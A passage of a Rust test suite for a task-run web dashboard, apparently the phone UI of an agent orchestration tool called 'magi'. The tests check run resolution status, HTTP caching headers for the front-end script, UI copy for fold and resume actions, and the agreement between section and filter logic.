10332            "the chain's current head, not the intermediate Blocked retry"
10333        );
10334        assert_eq!(view["latest_attempt"]["resolved"], true);
10335
10336        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
10337        assert_eq!(mid["latest_attempt"]["id"], c);
10338        assert_eq!(mid["latest_attempt"]["resolved"], true);
10339    }
10340
10341    #[tokio::test]
10342    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
10343        let fx = Fixture::start().await;
10344        let q = fx.queue();
10345        let runs = fx.runs();
10346
10347        // Still Blocked: the task is not resolved, so the older run must not
10348        // read as settled either.
10349        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
10350        write_run(&runs, still_blocked_a, RunStatus::Blocked);
10351        write_run(&runs, still_blocked_b, RunStatus::Blocked);
10352        let mut t1 = Task::new(
10353            "still stuck".to_owned(),
10354            "do it".to_owned(),
10355            PathBuf::from("/repo"),
10356            Source::Human,
10357        );
10358        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
10359        q.put(&mut t1).expect("put");
10360        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
10361        assert_eq!(view1["latest_attempt"]["resolved"], false);
10362
10363        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
10364        // to check - not a confirmed finish, so this must not read as
10365        // resolved either, even though the run is done in the sense that
10366        // nothing is still running.
10367        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
10368        write_run(&runs, noop_a, RunStatus::Blocked);
10369        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
10370        let mut t2 = Task::new(
10371            "claims done".to_owned(),
10372            "do it".to_owned(),
10373            PathBuf::from("/repo"),
10374            Source::Human,
10375        );
10376        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
10377        q.put(&mut t2).expect("put");
10378        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
10379        assert_eq!(
10380            view2["latest_attempt"]["resolved"], false,
10381            "an unverified no-op claim must not read as a confirmed finish"
10382        );
10383
10384        // Front end: an unresolved successor must not carry the "finished
10385        // this work" note or the muted chip treatment.
10386        assert!(APP_JS.contains("latest.resolved"));
10387    }
10388
10389    #[tokio::test]
10390    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
10391        let fx = Fixture::start().await;
10392        // No cache header at all meant browsers invented their own policy,
10393        // and one did: a phone went on showing "Candidates must be folded
10394        // before deleting. Run `magi fold` first." - deleted two releases
10395        // earlier - from a deck that no longer contained the sentence. The
10396        // button it named was right there, and unreachable.
10397        let js = fx.get("/app.js").await;
10398        assert_eq!(js.status, 200);
10399        let tag = js
10400            .header("etag")
10401            .expect("an etag to revalidate against")
10402            .to_owned();
10403        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
10404        assert_eq!(
10405            js.header("cache-control"),
10406            Some("no-cache, must-revalidate"),
10407            "the phone has to ask every time"
10408        );
10409
10410        // And the asking has to be cheap, or `must-revalidate` just means
10411        // "send the whole interface on every load".
10412        let again = fx
10413            .get_with("/app.js", &[("if-none-match", tag.as_str())])
10414            .await;
10415        assert_eq!(
10416            again.status, 304,
10417            "a deck it already has costs one round trip"
10418        );
10419        assert!(again.body.is_empty(), "304 carries no body");
10420
10421        // A weakened tag from a proxy still matches; a different build does
10422        // not, which is the case that has to deliver the new interface.
10423        let weak = fx
10424            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
10425            .await;
10426        assert_eq!(weak.status, 304);
10427        let stale = fx
10428            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
10429            .await;
10430        assert_eq!(stale.status, 200, "an older build must be replaced");
10431        assert!(stale.body.contains("renderRunActions"));
10432    }
10433
10434    #[test]
10435    fn the_deck_never_sends_the_operator_to_a_terminal() {
10436        // The whole point of the phone UI is that a terminal is not needed.
10437        // The delete control used to answer with "Run `magi fold` first."
10438        assert!(
10439            !APP_JS.contains("Run `magi fold` first"),
10440            "the deck must offer the fold, not prescribe a shell command"
10441        );
10442        assert!(APP_JS.contains("foldRun:"));
10443        assert!(APP_JS.contains("resumeRun:"));
10444        assert!(APP_JS.contains("renderRunActions"));
10445
10446        // Folding is destructive and armed in two steps, like deleting.
10447        assert!(APP_JS.contains("armedFold"));
10448        assert!(APP_JS.contains("Yes, fold worktrees"));
10449
10450        // And the copy has to say that the two actions are opposites, because
10451        // folding throws away exactly what a resume would continue from.
10452        assert!(APP_JS.contains("can no longer be resumed"));
10453    }
10454
10455    #[test]
10456    fn a_finished_run_explains_itself_with_its_own_last_line() {
10457        // The deck used to answer "why did this stop?" with a sentence chosen
10458        // by status alone. Run e633 stalled because two judges answered with
10459        // the wrong JSON shape and its card said "The panel collapsed on
10460        // agent quota" - with `quota: []` in the record and a quota-loss
10461        // counter right above it that correctly said nothing.
10462        assert!(
10463            !APP_JS.contains("collapsed on agent quota"),
10464            "a stall must not be explained by a cause the deck did not check"
10465        );
10466        assert!(
10467            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
10468            "and a block must not offer a guess with an `or` in it"
10469        );
10470
10471        // The reason it does have is `run.event`, which must reach finished
10472        // runs: gating it on movement hid the recorded truth at the one moment
10473        // the operator is reading the card to find out what happened.
10474        assert!(
10475            APP_JS.contains("setText(r.event, run.event || \"\")"),
10476            "the run's last line is rendered unconditionally"
10477        );
10478        assert!(
10479            !APP_JS.contains("moving && run.event"),
10480            "and never gated on the run still moving"
10481        );
10482
10483        // Quota keeps its own counter, fed by the number actually recorded.
10484        assert!(APP_JS.contains("lost to quota"));
10485    }
10486
10487    /// The runs tree (section) and the state chips (waiting/done) are two
10488    /// independent lenses ANDed together in `renderRuns`, and some pairings
10489    /// can never both be true for any run - every "Landed"/"Ended" run is
10490    /// done by construction, so pairing either with "Active" or "In flight"
10491    /// always rendered zero cards with the filter bar still claiming
10492    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
10493    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
10494    /// a handful of (waiting, status) shapes standing in for the run
10495    /// lifecycle, because `cargo test` cannot execute the front end.
10496    ///
10497    /// That stand-in list is itself the part that drifted twice in review:
10498    /// once shipped with `waiting: true` paired with a done status the
10499    /// lifecycle cannot produce, then over-corrected into treating every
10500    /// waiting run as never done - which made "Waiting on you" look
10501    /// incompatible with "Done" even for the one real, reachable shape
10502    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
10503    /// that combination. This test parses the shapes and the done-rule back
10504    /// out of `APP_JS`, reimplements `runSection` and the five state
10505    /// predicates independently in Rust, and checks the resulting
10506    /// section/filter compatibility table against the lifecycle rules by
10507    /// hand - so either direction of drift fails it again.
10508    #[test]
10509    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
10510        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
10511        let shapes_body_start =
10512            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
10513        let shapes_close = APP_JS[shapes_body_start..]
10514            .find("].map(")
10515            .expect("the shape list is closed by its done-computing .map(...)")
10516            + shapes_body_start;
10517        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
10518
10519        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
10520        for entry in shapes_src.split('{').skip(1) {
10521            let waiting = entry.contains("waiting: true");
10522            let dead = entry.contains("live: \"dead\"");
10523            let status_at =
10524                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
10525            let status_end = entry[status_at..]
10526                .find('"')
10527                .expect("the status string is closed")
10528                + status_at;
10529            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
10530        }
10531        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
10532
10533        // The done rule itself (`!["implementing"].includes(shape.status)`),
10534        // read out of the source rather than hardcoded, so a renamed
10535        // in-flight status can't silently make every parsed shape "done".
10536        let done_rule_marker = "done: !";
10537        let done_rule_at = APP_JS[shapes_close..]
10538            .find(done_rule_marker)
10539            .expect("the done rule follows the shape list")
10540            + shapes_close
10541            + done_rule_marker.len();
10542        let includes_at = APP_JS[done_rule_at..]
10543            .find(".includes(shape.status)")
10544            .expect("the done rule ends in .includes(shape.status)")
10545            + done_rule_at;
10546        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
10547            .trim()
10548            .trim_start_matches('[')
10549            .trim_end_matches(']')
10550            .split(',')
10551            .map(|s| s.trim().trim_matches('"'))
10552            .filter(|s| !s.is_empty())
10553            .collect();
10554
10555        let shapes: Vec<(bool, String, bool, bool)> = shapes
10556            .into_iter()
10557            .map(|(waiting, status, dead)| {
10558                let done = !not_done.contains(&status.as_str());
10559                (waiting, status, dead, done)
10560            })
10561            .collect();
10562
10563        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
10564        // outright, then merged/ready land, stalled/blocked/failed/
10565        // verified_noop end, and everything else is still in flight.
10566        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
10567            if waiting {
10568                return "waiting";
10569            }
10570            if dead
10571                && !matches!(
10572                    status,
10573                    "merged"
10574                        | "ready"
10575                        | "stalled"
10576                        | "blocked"
10577                        | "failed"
10578                        | "verified_noop"
10579                        | "superseded"
10580                )
10581            {
10582                return "stale";
10583            }
10584            match status {
10585                "merged" | "ready" => "landed",
10586                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded" => "ended",
10587                _ => "flight",
10588            }
10589        }
10590
10591        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
10592        // way.
10593        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
10594            match filter_key {
10595                "active" => !done,
10596                "flight" => !done && !waiting && !dead,
10597                "stale" => !done && !waiting && dead,
10598                "waiting" => waiting,
10599                "done" => done,
10600                "all" => true,
10601                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
10602            }
10603        }
10604
10605        let compatible = |section: &str, filter_key: &str| {
10606            shapes.iter().any(|(waiting, status, dead, done)| {
10607                run_section(*waiting, status, *dead) == section
10608                    && filter_matches(filter_key, *waiting, *dead, *done)
10609            })
10610        };
10611
10612        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
10613        // (active, flight, stale, waiting, done, all) - hand-derived from the
10614        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
10615        // currently contains.
10616        let expected = [
10617            ("waiting", [true, false, false, true, true, true]),
10618            ("stale", [true, false, true, false, false, true]),
10619            ("flight", [true, true, false, false, false, true]),
10620            ("landed", [false, false, false, false, true, true]),
10621            ("ended", [false, false, false, false, true, true]),
10622        ];
10623        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
10624
10625        for (section, wants) in expected {
10626            for (filter_key, want) in filter_keys.iter().zip(wants) {
10627                assert_eq!(
10628                    compatible(section, filter_key),
10629                    want,
10630                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
10631                );
10632            }
10633        }
10634
10635        // The compatibility check exists only to be acted on: both pickers
10636        // must actually consult it rather than just render its answer.
10637        assert!(
10638            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
10639        );
10640        assert!(APP_JS.contains(
10641            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
10642        ));
10643        assert!(APP_JS.contains(
10644            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
10645        ));
10646    }
10647
10648    #[tokio::test]
10649    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
10650        // An operator-named directory - git checkout or not - is never
10651        // second-guessed, even when it does not exist at all: only the
10652        // flag's own unmodified `.` default is ever eligible for discovery.
10653        let dir = tempfile::tempdir().expect("tempdir");
10654        let explicit = dir.path().join("not-a-checkout");
10655        std::fs::create_dir_all(&explicit).expect("create dir");
10656        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
10657
10658        let missing = dir.path().join("does-not-exist-at-all");
10659        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
10660    }
10661}